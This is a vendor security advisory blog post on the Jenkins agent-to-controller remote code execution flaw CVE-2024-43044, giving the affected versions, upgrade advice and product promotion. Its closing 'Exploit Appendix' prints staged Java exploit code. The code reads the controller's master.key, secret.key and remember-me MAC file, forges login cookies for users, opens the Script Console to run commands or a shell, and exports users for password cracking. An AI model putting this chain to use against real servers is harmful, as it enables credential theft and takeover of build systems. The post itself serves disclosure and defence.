Get a Demo
Under Attack?
A pink background with a white bug icon in the center, symbolizing a vulnerability. Text below reads: Jenkins Agents Remote Code Execution Vulnerability (CVE-2024-43044). The word Upwind is in the top right corner.

Jenkins Agents Remote Code Execution Vulnerability (CVE-2024-43044)

<br />
<b>Warning</b>:  Undefined variable $photo in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
Leahy Shelly September 05, 2024

A critical remote code execution (RCE) vulnerability, identified as CVE-2024-43044, has been discovered in Jenkins, one of the most widely used automation servers. The vulnerability resides in the ClassLoaderProxy#fetchJar method and could allow attackers to compromise Jenkins environments by exploiting unrestricted file path requests from agents to the Jenkins controller.

Understanding CVE-2024-43044

CVE-2024-43044 is a critical remote code execution (RCE) vulnerability in Jenkins, due to a flaw in the ClassLoaderProxy#fetchJar method within the Remoting/Hudson library used for communication between Jenkins controllers and agents. The vulnerability arises because fetchJar inadequately validates file paths provided by Jenkins agents. An attacker with access to a Jenkins agent can exploit this flaw by crafting a request to the Jenkins controller that includes arbitrary file paths. Specifically, the attacker can manipulate the request to include paths pointing to malicious JAR files, which are not properly sanitized by the fetchJar method.

When the Jenkins controller processes this request, it loads and executes the malicious JAR file, as there are no restrictions on the path or file content. This execution of malicious code occurs with the same privileges as the Jenkins controller process, granting the attacker full control over the Jenkins environment. Exploitation can involve techniques such as uploading a JAR file containing a reverse shell or other malicious payloads, allowing attackers to execute commands on the Jenkins controller. This can lead to unauthorized access to sensitive data, alteration of Jenkins configurations, and significant disruption of operations.

  • Severity: Critical
  • Impact: The vulnerability allows attackers to potentially compromise the Jenkins environment by leveraging agent secrets or interacting with active processes. This can lead to significant security breaches.
  • Affected Versions: All versions of Jenkins prior to 2.471 or 2.452 LTS

Who is Impacted?

Any organization or individual using Jenkins versions before 2.471 or 2.452 LTS is affected by this vulnerability. Specifically, those who utilize the Jenkins controller/agent model for communication between Jenkins controllers and agents are at risk. The vulnerability impacts environments where agents can request unrestricted file paths, potentially leading to remote code execution.

Patches and Remediation Steps

The recommended fix is to upgrade Jenkins to version 2.471 or later. The update addresses the flaw and enhances the overall security of the Jenkins system.

How Upwind Helps Protect Your Environment

Upwind Cloud Security Platform offers several solutions to mitigate CVE-2024-43044:

  1. Locate Vulnerable Packages: Use Upwind’s SBOM explorer to search and identify CVE-2024-43044.
  2. View Resource Impact: Identify all resources affected by CVE-2024-43044, including cloud accounts, clusters, pods, namespaces, VMs, and resources.
  3. Prioritize At-Risk Resources: Assess and prioritize the impact on your environment, focusing on resources with additional risk factors such as internet exposure, database connections, secrets, or sensitive data.
  4. Prioritize Package Upgrades: Generate a list of vulnerable resources that should be prioritized for updates using the recommended fixes.
unnamed-2-1024x576

Get Further Assistance

If you need further assistance with protecting your environment from CVE-2024-43044, you can reach out to an Upwind specialist directly at [email protected].

Exploit Appendix

Stage 1: Class Loader and Reader Initialization

// Initialize class loader and reader
if (this.ccl == null) {
    this.ccl = this.getRemoteClassLoader();
}

// Setup reader and paths
this.reader = new RemoteFileReader(this.ccl);
this.jenkinsBasePath = findJenkinsBasePath();

Stage 2: Reading User Information

This stage involves reading user information from Jenkins. The user data is fetched and stored for further processing.

// Read and process user information
System.out.println("[*] Reading users...");
Map<Long, UserInfo> orderedUsers = readUsers();

Stage 3: Defining and Reading File Paths

Paths to sensitive files such as master key, secret key, and MAC file are defined. The corresponding files are then read. The MAC file is crucial for cookie forgery.

// Define file paths
String masterKeyPath = Paths.get(this.jenkinsBasePath, MASTER_KEY).toString();
String secretKeyPath = Paths.get(this.jenkinsBasePath, SECRET_KEY).toString();
String rememberMacPath = Paths.get(this.jenkinsBasePath, REMEMBER_MAC).toString();

// Read and print master key
System.out.println("[*] Reading master.key");
String masterKey = this.reader.readAsString(masterKeyPath);
printChunked(masterKey, 64);

// Read and print secret key
System.out.println("[*] Reading secret.key");
String secret = this.reader.readAsString(secretKeyPath);
System.out.println("    " + secret);

// Read and handle MAC file
System.out.println("[*] Reading ...rememberme.TokenBasedRememberMeServices.mac");
byte[] mac = this.reader.readAsBytes(rememberMacPath);

if (mac.length == 0) {
    System.out.println("    MAC file not found. Triggering creation...");
    forceMacFileCreation(orderedUsers);
    System.out.println("[*] Re-reading ...rememberme.TokenBasedRememberMeServices.mac");
    mac = this.reader.readAsBytes(rememberMacPath);
}
System.out.println("    " + bytesToHex(mac));

Stage 4: Forging Cookies and Accessing Jenkins Script Console

In this stage, cookies are forged for users and the Jenkins Script Console is accessed using those cookies. Commands or shells are executed as per the user’s input.

// Forging cookies and accessing Jenkins Script Console
System.out.println("[*] Instantiating CookieForger");
CookieForger forger = new CookieForger(this.jenkinsServer, masterKey, secret, mac);

for (Map.Entry<Long, UserInfo> entry : orderedUsers.entrySet()) {
    UserInfo userInfo = entry.getValue();

    System.out.println("[*] Forging remember-me cookie for user '" + userInfo.name + "'");
    String cookie = forger.cookieFor(userInfo);

    // Print user details and cookie
    printUserInfo(userInfo, cookie);

    // Access Jenkins Script Console and run command or shell
    System.out.println("[*] Accessing Jenkins Script Console");
    ScriptConsole console = new ScriptConsole(this.jenkinsServer, cookie);
    boolean success = (this.cmd != null) ? console.runCommand(this.cmd) : console.shell();

    if (success) {
        break;
    }
}


Stage 5: Exporting Users and Exiting

User information is exported, and if no command is provided, the process exits.

// Export users to JTR and exit if no command is provided
usersToJTR(orderedUsers);
if (this.cmd == null) {
    System.exit(0);
}
Contents

Further Reading

API-ASM Blog

Validate the Real-World Exposure of Your APIs with Upwind Attack Surface Management

Your APIs are probably the least-monitored component of your attack surface. They multiply faster than any team can document, and most scanners only ever pick up the ones you already know about. But that gap just got smaller. Upwind’s Attack Surface Management capabilities now provide a unified view of cloud and API exposure, helping security…
gemini-svg

Metabase Instances Actively Exploited: Unauthenticated Admin Takeover via BI Layer Reset Password SQL Injection (CVE-2026-72898)

Executive Summary Upwind recently observed multiple Advanced Persistent Threat (APT) groups actively exploiting CVE-2026-72898. This vulnerability - an unauthenticated SQL injection in the Metabase password reset endpoint carrying a critical CVSS score of 10.0, was actively exploited as a zero-day before a patch became available. An unauthenticated remote attacker can craft a malicious SQL injection…
Buyers Demos

Why Buyers Remember Solving a Demo, Not Watching One

Key Takeaways I recently sat down with Upwind Solutions Architect, Evan Grace to learn more about his process. After some intros, he told me about his new hobby, hydroponics. For those who don’t know, hydroponics is a method of growing plants without soil. This was unbelievable to me but after Evan explained his deep dive…
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS